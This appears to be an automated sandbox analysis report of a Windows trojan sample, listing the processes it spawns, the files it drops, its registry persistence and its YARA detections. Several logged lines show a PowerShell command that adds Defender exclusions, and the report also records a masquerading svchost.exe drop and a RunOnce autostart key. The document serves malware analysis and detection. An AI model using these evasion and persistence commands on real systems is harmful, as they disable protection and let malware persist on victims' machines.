Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_02B9C338	9_2_02B9C338
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_02B9C8C0	9_2_02B9C8C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_02B96D28	9_2_02B96D28
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_02B96D19	9_2_02B96D19
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_0787CEE0	9_2_0787CEE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_0787B6F0	9_2_0787B6F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_0787F2AA	9_2_0787F2AA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_0787DA51	9_2_0787DA51
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_0787CED1	9_2_0787CED1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_07874568	9_2_07874568
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_078733D0	9_2_078733D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_07876375	9_2_07876375
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_07874A20	9_2_07874A20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_078BDF90	9_2_078BDF90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_078B65A8	9_2_078B65A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_078B6D78	9_2_078B6D78
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_078B9DC0	9_2_078B9DC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_078B4510	9_2_078B4510
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_078B92B8	9_2_078B92B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_078BA0B8	9_2_078BA0B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_078B0040	9_2_078B0040
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Code function: 17_2_05D12207	17_2_05D12207
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Code function: 17_2_05D128B8	17_2_05D128B8
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Code function: 17_2_05D1AA4A	17_2_05D1AA4A

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2788 -s 2300

Source: lfQuSBwdSf.exe, 00000000.00000002.333378140.00000000010F7000.00000004.00000010.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs lfQuSBwdSf.exe
Source: lfQuSBwdSf.exe, 00000000.00000002.343066638.00000000016B0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dllj% vs lfQuSBwdSf.exe
Source: lfQuSBwdSf.exe, 00000000.00000002.332211972.0000000000CBA000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameDimbono.exe0 vs lfQuSBwdSf.exe
Source: lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp	Binary or memory string: OriginalFilename vs lfQuSBwdSf.exe
Source: lfQuSBwdSf.exe, 00000000.00000003.233052710.0000000003358000.00000004.00000001.sdmp	Binary or memory string: l,\\StringFileInfo\\000004B0\\OriginalFilename vs lfQuSBwdSf.exe
Source: lfQuSBwdSf.exe, 00000000.00000002.343141674.00000000016C0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dll.muij% vs lfQuSBwdSf.exe

Source: C:\Windows\System32\svchost.exe	Section loaded: userdatalanguageutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll

Source: lfQuSBwdSf.exe, 00000000.00000002.342059141.00000000013FA000.00000004.00000020.sdmp

Binary or memory string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb,

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@49/25@11/5

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

File created: C:\Users\user\WrdAHTtKmtDmuc

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4808:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5988:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5136:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2788
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4456:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5224:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5816:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2120:120:WilError_01

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wacrv0pl.app.ps1

Jump to behavior

Source: lfQuSBwdSf.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: lfQuSBwdSf.exe	Virustotal: Detection: 24%
Source: lfQuSBwdSf.exe	ReversingLabs: Detection: 29%

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

File read: C:\Users\user\Desktop\lfQuSBwdSf.exe:Zone.Identifier

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\lfQuSBwdSf.exe 'C:\Users\user\Desktop\lfQuSBwdSf.exe'
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\lfQuSBwdSf.exe' -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1
Source: unknown	Process created: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe'
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k unistacksvcgroup
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Users\user\Desktop\lfQuSBwdSf.exe C:\Users\user\Desktop\lfQuSBwdSf.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe'
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2788 -s 2300
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\lfQuSBwdSf.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Users\user\Desktop\lfQuSBwdSf.exe C:\Users\user\Desktop\lfQuSBwdSf.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F324E4F9-8496-40b2-A1FF-9617C1C9AFFE}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: lfQuSBwdSf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: lfQuSBwdSf.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdbOS source: lfQuSBwdSf.exe, 00000000.00000002.341939107.00000000013F2000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdbs source: lfQuSBwdSf.exe, 00000000.00000002.341939107.00000000013F2000.00000004.00000020.sdmp
Source:	Binary string: npAjVisualBasic.pdb source: lfQuSBwdSf.exe, 00000000.00000002.333378140.00000000010F7000.00000004.00000010.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdbs source: lfQuSBwdSf.exe, 00000000.00000002.341262404.00000000013C2000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: lfQuSBwdSf.exe, 00000000.00000002.340683009.0000000001392000.00000004.00000020.sdmp
Source:	Binary string: (P6jLC:\Windows\Microsoft.VisualBasic.pdb source: lfQuSBwdSf.exe, 00000000.00000002.333378140.00000000010F7000.00000004.00000010.sdmp
Source:	Binary string: lfQuSBwdSf.PDB source: lfQuSBwdSf.exe, 00000000.00000002.333378140.00000000010F7000.00000004.00000010.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb source: lfQuSBwdSf.exe, 00000000.00000002.342059141.00000000013FA000.00000004.00000020.sdmp
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb, source: lfQuSBwdSf.exe, 00000000.00000002.342059141.00000000013FA000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: lfQuSBwdSf.exe, 00000000.00000002.341262404.00000000013C2000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Users\user\Desktop\lfQuSBwdSf.PDB source: lfQuSBwdSf.exe, 00000000.00000002.342059141.00000000013FA000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb1G source: lfQuSBwdSf.exe, 00000000.00000002.342059141.00000000013FA000.00000004.00000020.sdmp
Source:	Binary string: C:\Users\user\Desktop\lfQuSBwdSf.PDB source: lfQuSBwdSf.exe, 00000000.00000002.333378140.00000000010F7000.00000004.00000010.sdmp
Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdb source: lfQuSBwdSf.exe, 00000000.00000002.341262404.00000000013C2000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdby source: lfQuSBwdSf.exe, 00000000.00000002.342059141.00000000013FA000.00000004.00000020.sdmp
Source:	Binary string: .pdb%H source: lfQuSBwdSf.exe, 00000000.00000002.333378140.00000000010F7000.00000004.00000010.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb source: lfQuSBwdSf.exe, 00000000.00000002.342059141.00000000013FA000.00000004.00000020.sdmp

Data Obfuscation:

Yara detected Beds Obfuscator

Show sources

Source: Yara match	File source: 00000015.00000002.485923538.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.541864387.0000000004A72000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.517681508.0000000004965000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 23.2.svchost.exe.4a72390.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.svchost.exe.4ad53b0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.svchost.exe.4ad53b0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.svchost.exe.49c8f18.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.svchost.exe.4965ef8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.lfQuSBwdSf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.svchost.exe.4965ef8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.svchost.exe.4a72390.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.svchost.exe.49c8f18.2.raw.unpack, type: UNPACKEDPE

Source: lfQuSBwdSf.exe

Static PE information: 0xEDF52E0E [Wed Jul 4 19:25:02 2096 UTC]

Source: svchost.exe.0.dr	Static PE information: real checksum: 0xc0d7 should be: 0xc7cf
Source: lfQuSBwdSf.exe	Static PE information: real checksum: 0xc0d7 should be: 0xc7cf

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07951752 pushad ; ret	5_2_07951759
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07952542 push esp; retf	5_2_07952549
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07951488 push eax; mov dword ptr [esp], edx	5_2_0795149C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0801D831 push eax; mov dword ptr [esp], edx	7_2_0801D844
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_08017A29 push eax; mov dword ptr [esp], edx	7_2_08017A3C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_080116FA push eax; mov dword ptr [esp], edx	7_2_08011714
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_07876EE8 pushad ; retf	9_2_07876F61
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_07877320 push esp; retf	9_2_07877321
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_078B12F8 push eax; mov dword ptr [esp], edx	9_2_078B130C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_078B7A28 push eax; mov dword ptr [esp], edx	9_2_078B7A3C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_078C2B0F push eax; mov dword ptr [esp], edx	9_2_078C2B24

Persistence and Installation Behavior:

Drops PE files with benign system names

Show sources

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

File created: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe

Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: unknown

Executable created and started: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

File created: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe

Jump to dropped file

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

File created: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe

Jump to dropped file

Boot Survival:

Creates an autostart registry key pointing to binary in C:\Windows

Show sources

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce wyreCRIln

Jump to behavior

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce wyreCRIln	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce wyreCRIln	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce wyreCRIln	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce wyreCRIln	Jump to behavior

Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
